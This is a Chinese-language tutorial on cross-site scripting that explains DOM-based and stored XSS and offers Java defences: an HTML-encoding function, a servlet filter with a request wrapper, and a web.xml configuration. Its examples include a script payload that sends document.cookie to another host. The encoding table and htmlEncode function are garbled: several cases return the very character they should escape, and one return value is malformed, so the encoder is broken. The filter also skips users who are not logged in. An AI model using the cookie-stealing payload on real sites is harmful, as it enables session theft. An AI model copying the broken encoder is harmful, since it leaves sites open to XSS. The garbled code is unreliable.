1. 什么是xss?
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击。
2. xss攻击的原理?
攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如:盗取用户Cookie、破坏页面结构、重定向到其它网站等。
3. xss攻击的分类?
3.1 DOM Based XSS
DOM Based XSS是一种基于网页DOM结构的攻击,该攻击特点是中招的人是少数人。
例如:有一个url,后面带有一个参数content,当a给b发送一个url:http://www.a.com?content=<script>window.open(“www.b.com?param=”+document.cookie)</script>,当b点击这个链接的时候(假设他已经登录a.com),浏览器就会直接打开b.com,并且把b在a.com中的cookie信息发送到b.com,这样就造成了b的用户名密码等信息泄露。
3.2 Stored XSS
Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
例如: 网站a.com可以发文章,a登录后在a.com中发布了一篇文章,文章中包含了恶意代码,<script>window.open(“www.b.com?param=”+document.cookie)</script>,保存文章。这时b和c看到了a发布的文章,当在查看a的文章时就都中招了,他们的cookie信息都发送到了a的服务器上,攻击成功!这个过程中,受害者是多个人。
4. 如何防止xss攻击?
方法一:对用户输入的内容进行过滤。
less-than character (<) | < |
greater-than character (>) | > |
ampersand character (&) | & |
double-quote character (") | " |
space character( ) | |
Any ASCII code character whose code is greater-than or equal to 0x80 | &#<number>, where <number> is the ASCII character value. |
比如用户输入:<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:<script>window.location.href="http://www.baidu.com"</script>在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。
具体到代码中就是这样:
private static String htmlEncode(char c) {
switch(c) {
case '&':
return"&";
case '<':
return"<";
case '>':
return">";
case '"':
return""";
case ' ':
return" ";
default:
return c +"";
}
}
/** 对传入的字符串str进行Html encode转换 */
public static String htmlEncode(String str) {
if(str ==null || str.trim().equals("")) return str;
StringBuilder encodeStrBuilder = new StringBuilder();
for (int i = 0, len = str.length(); i < len; i++) {
encodeStrBuilder.append(htmlEncode(str.charAt(i)));
}
return encodeStrBuilder.toString();
}
方法二:使用过滤器
过滤器代码:
package com.comp.shp.web.filter;
import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import org.apache.commons.lang3.StringUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
public class IllegalCharacterFilter implements Filter {
private static final Logger LOGGER = LoggerFactory.getLogger(IllegalCharacterFilter.class);
@Override
public void init(FilterConfig filterConfig) throws ServletException {
LOGGER.info("IllegalCharacterFilter init");
}
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException,
ServletException {
HttpServletRequest servletrequest = (HttpServletRequest) request;
//获取当前登录用户
String custNo = servletrequest.getRemoteUser();
//只有登陆的用户才能输入
if (StringUtils.isNotBlank(custNo)) {
// 转换特殊字符,继续向下请求
chain.doFilter(new IllegalCharacterRequestWrapper(servletrequest), response);
} else {
chain.doFilter(servletrequest, response);
}
}
@Override
public void destroy() {
LOGGER.info("IllegalCharacterFilter destroy");
}
}
IllegalCharacterRequestWrapper.java:
package com.comp.shp.web.filter;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletRequestWrapper;
import org.apache.commons.lang3.StringUtils;
public class IllegalCharacterRequestWrapper extends HttpServletRequestWrapper {
public IllegalCharacterRequestWrapper(HttpServletRequest request) {
super(request);
}
private String format(String paramValue) {
return StringUtils.replaceEach(paramValue, new String[] { "<", ">", "'", "\"", "&" }, new String[] { "《", "》",
"‘", "“", "&" });
}
@Override
public Object getAttribute(String name) {
Object value = super.getAttribute(name);
if (value instanceof String) {
value = format(String.valueOf(value));
}
return value;
}
@Override
public String getParameter(String name) {
String value = super.getParameter(name);
if (value == null)
return null;
return format(value);
}
@Override
public String[] getParameterValues(String name) {
String[] values = super.getParameterValues(name);
if (values != null) {
for (int i = 0; i < values.length; i++) {
values[i] = format(values[i]);
}
}
return values;
}
@SuppressWarnings({ "rawtypes", "unchecked" })
@Override
public Map getParameterMap() {
HashMap paramMap = (HashMap) super.getParameterMap();
paramMap = (HashMap) paramMap.clone();
for (Iterator iterator = paramMap.entrySet().iterator(); iterator.hasNext();) {
Map.Entry entry = (Map.Entry) iterator.next();
String[] values = (String[]) entry.getValue();
for (int i = 0; i < values.length; i++) {
if (StringUtils.isNotEmpty(values[i])) {
values[i] = format(values[i]);
}
}
entry.setValue(values);
}
return paramMap;
}
}
最后将过滤器配置到web.xml里:
<!-- 非法字符过滤器 --> <filter> <filter-name>IllegalCharacterFilter</filter-name> <filter-class>com.comp.shp.web.filter.IllegalCharacterFilter</filter-class> </filter> <filter-mapping> <filter-name>IllegalCharacterFilter</filter-name> <url-pattern>*.do</url-pattern> </filter-mapping> <filter-mapping> <filter-name>IllegalCharacterFilter</filter-name> <url-pattern>*.htm</url-pattern> </filter-mapping>